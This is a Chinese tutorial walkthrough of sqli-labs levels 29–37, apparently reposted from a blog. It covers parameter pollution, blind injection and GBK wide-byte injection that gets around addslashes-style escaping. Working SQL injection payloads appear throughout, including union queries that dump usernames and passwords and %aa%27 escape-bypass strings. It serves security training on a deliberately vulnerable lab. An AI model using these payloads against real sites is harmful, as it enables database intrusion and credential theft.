当前位置:   article > 正文

sqli-labs通关攻略教程——双服务器+宽字节注入(less29~less37)_sqli-labs 29配置

sqli-labs 29配置


从29关开始使用docker搭建的sqli-labs靶场
KALI搭建Docker+Vulhub和sqli-labs靶场

补充知识-服务器的两层架构

mysql之注入天书服务器

服务器两层架构即不同的id值有不同的服务器来解读。
http参数污染:jsp/tomcat使用getgetParameter("id")获取到第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id就是纯数字,第二个id的值注入就可以了。

less 29

  1. 测试发现闭方式为单引号
    在这里插入图片描述

  2. 使用order by查询字段,结果为3在这里插入图片描述

  3. 使用联合注入,查看回显位置

?id=-1' union select 1,2,3--+
  • 1

在这里插入图片描述
4. 查询数据库

?id=-1' union select 1,2,database()--+
  • 1

在这里插入图片描述
5. 查询数据库中的表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
  • 1

在这里插入图片描述
6. 查询表user中的字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
  • 1

在这里插入图片描述
7. 查询字段中的值

?id=-1' union select 1,2,group_concat(Password) from security.users--+
  • 1

在这里插入图片描述
8. 总结:没有任何的过滤

less 30

  1. 经过测试后闭合方式为双引号在这里插入图片描述
  2. 使用order by字段测试,发现回显只有一种在这里插入图片描述
  3. 猜测本题使用盲注的思路。
?id=-1" or left(database(),1)='s'--+

?id=0' or 4=(select count(table_name) from information_schema.tables where table_schema=database());--+   //判断数据库中表的数量

?id=1& if(left((select table_name from information_schema.tables where table_schema='security'  limit 1,1 ),  1 )='u'--+

?id=-1" || database() regexp 's'--+

?id=-1" || substr(database(),1,1)='s'--+

ascil函数不太行,这题暂时不考虑ascil函数

?id=1" and  if(length(database())=8,1,sleep(10))--+

if函数可套用left或者substr函数或ascil函数

?id=1&id=-2" union select 1,2,3--+  //联合注入,服务器的两层架构
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

less 31

本关的闭合方式为"),其余与上一关相同,均使用盲注的思路。

less 32

  1. 首先测试闭合方式,发现无论闭合方式为什么,均被\转义。在这里插入图片描述

  2. 查看题目中的提示addslashes函数

    PHP中的addslashes函数详解

    addslashes函数的绕过方法

  3. 本道题发现依然需要使用盲注的思路,经过多次测试,发现也并不为数字型注入,闭合方式为单引号。由于单引号会被转义,将单引号使用url编码为%27

  4. 在这里我们使用宽字节注入的思路。宽字节注入主要是采用GBK 编码。

原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \'。(\ascil码是92,换成十六进制为5c%5curl编码。

%df吃掉 \ 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysqlGBK 编码方式的时候会将两个字节当做一个汉字,此 %df%5c 就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
同理,%aa、%bb均可以使用。

?id=1%aa%27 order by 3--+

?id=-1%aa%27union select 1,2,database()--+

?id=-1%aa%27union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

?id=-1%aa%27union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

?id=-1%aa%27union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在这里插入图片描述

less 33

  1. 题目中的提示addslashes()函数参考上一关的相关博客分享。
  2. 经过测试,与上一关相同,使用宽字节注入
?id=-1%aa%27 union select 1,2,3--+   //联合注入

  • 1
  • 2

less 34

查看题目提示,与上一关的区别在于本关传参方式为post

uname=1%aa%27 union select 1,database()#&passwd=1&submit=Submit
  • 1

在这里插入图片描述

less 35

查看题目提示本关为数字型注入,闭合处不需要考虑过滤转义,但联合注入查询库中表、字段、字段中的值时需要使用十六进制来表示。

less 36

  1. 查看题目提示中的mysql_real_escape_string() 函数

    PHP中mysql_real_escape_string()函数详解

  2. 我们尝试前几关的宽字节注入方法,发现可行,且闭合方式为单引号,使用url编码%27

less 37

题目提示,与上一关的区别在于本关传参方式为POST,使用burp抓包尝试注入。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/黑客灵魂/article/detail/912982
推荐阅读
相关标签
  

闽ICP备14008679号